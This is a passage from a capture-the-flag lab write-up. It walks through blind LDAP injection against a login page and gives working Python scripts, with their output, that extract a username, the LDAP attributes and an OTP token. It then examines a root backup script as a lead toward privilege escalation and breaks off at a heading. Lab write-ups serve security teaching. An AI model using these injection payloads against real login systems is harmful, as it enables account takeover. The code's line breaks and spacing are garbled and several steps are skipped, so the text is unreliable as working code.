The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at /login.php:
Page Source (/login.php):
...
<form action="/login.php" method="post">
<div class="form-group row">
<div class="col-sm-10">
</div>
</div>
<div class="form-group row">
<label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
</div>
</div>
<div class="form-group row">
<label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
<div class="col-sm-10">
<input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-primary name=" submit"="" value="Login">Login</button>
</div>
</div>
</form>
...
NOTE(S):
An error message pops up when guessing the Username input:
<div class="col-sm-10">User test not found</div>
Now, testing for possible injection -- inputUsername=%3D (%3D is "=") and no error message popped up.
!, &, *, (, ), \, |, <, and > also doesn't return an error message
These are special characters in LDAP so maybe these characters are being filtered out by /login.php. It is also important to note that a token string for the OTP is stored in a pre-existing attribute so the login might actually be validated using LDAP.
PART 3 : EXPLOITATION
3.1 LDAP Blind Injection
Attempt exploitation using LDAP Injectionusing a wildcard "*" as a payload:
inputUsername=%2A
The following response was given by the server:
<div class="col-sm-10">Cannot login</div>
This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:
import requests as rimport urllib.parse as uusername =""char_list ="abcdefghijklmnopqrstuvwxyz0123456789"whileTrue:for i inrange(0, len(char_list)): ldap_injection ="%s%c*"% (username, char_list[i]) data ={"inputUsername": u.quote(ldap_injection)} req = r.post("http://10.10.10.122/login.php", data=data)if"Cannot login"in req.text: username = username + char_list[i]print(username)breakif i ==len(char_list)-1:breakprint("[x] THE USERNAME IS "+ username)
Run using python3 and a user, ldapuser, has been extracted:
lldldaldapldapuldapusldapuseldapuser[x] THE USERNAME IS ldapuser
Now finding all available/usable LDAP Attributes using ldap_attribute_list.txt (copied from ldap-brute from GitHub):
import requests as rimport urllib.parse as uattribute_list =open("/usr/share/wordlists/ldap_attribute_names.txt", "r")attributes = []for i in attribute_list: ldap_injection ="ldapuser))(&(%s=*"% (i[:-1]) data ={"inputUsername": u.quote(ldap_injection)} req = r.post("http://10.10.10.122/login.php", data=data)if"Cannot login"in req.text:print(ldap_injection) attributes.append(i[:-1])attribute_list.close()
Run using python3 and the following were returned -- userPassword, pager, and objectClass might be of interest:
Octet string matching rules are very simple rules that perform byte-by-byte comparisons of octet string
values. All capitalization and spacing is considered significant.
So with ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=, a simple wildcard comparison won't do:
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit
comparison (in big endian ordering) of two octet string values until a difference is found. The first
case in which a zero bit is found in one value but a one bit is found in another will cause the value
with the zero bit to be considered less than the value with the one bit.
A sha512crypt hash was extracted but this seems to be a RABBIT HOLE. But the pager attribute seems promising:
import requests as rimport urllib.parse as utoken =""while( len(token)!=81 ):for i inrange(0,10): ldap_injection ="ldapuser))(&(pager=%s%d*"% (token, i) data ={"inputUsername": u.quote(ldap_injection)} req = r.post("http://10.10.10.122/login.php", data=data)if"Cannot login"in req.text: token = token +str(i)print(token)breakprint("[x] THE TOKEN IS "+ token)
Run using python3 and it seems like the attribute contains the token which is a Pure Numeric CTF (Compressed Token Format) string:
Integer Matching
...
integerMatch (OID 2.5.13.14): An equality matching rule that will consider two integer values
equivalent if they represent the same number.
Using the new username, The group restriction no longer applies.
There is a script named honeypot.sh and backup files seem to be generated every minute:
# get banned ips from fail2ban jails and update banned.txt# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protectednow=$(date+"%s")filename="backup.$now"pass=$(opensslpasswd-1-salt0xEA31-in/root/root.txt|md5sum|awk'{print $1}')# keep only last 10 backupscd/backupls-1t*.zip|tail-n+11|xargsrm-f# get the files from the honeypot and backup 'em allcd/var/www/html/uploads7zaa/backup/$filename.zip-t7z-snl-p$pass--*# cleaup the honeypotrm-rf--*# comment the next line to get errors for debuggingtruncate-s0/backup/error.log
Breakdown of honeypot.sh:
ls-1t*.zip|tail-n+11|xargsrm-f
Keeps a maximum of 10 most recent backups in /backup.
7zaa/backup/$filename.zip-t7z-snl-p$pass--*
Backs everything up in /var/www/html/uploads
The backups are password-protected and running pspy doesn't show when 7za is run which means that the password can't be intercepted.
The -- switch protects 7za from wildcard injection.
rm-rf--*
Everything in /var/www/html/uploads are deleted after backup.
truncate-s0/backup/error.log
Errors generated (maybe) are deleted after everything
5.2 7za listfiles
Leveraging honeypot.sh by exploiting what 7za can do: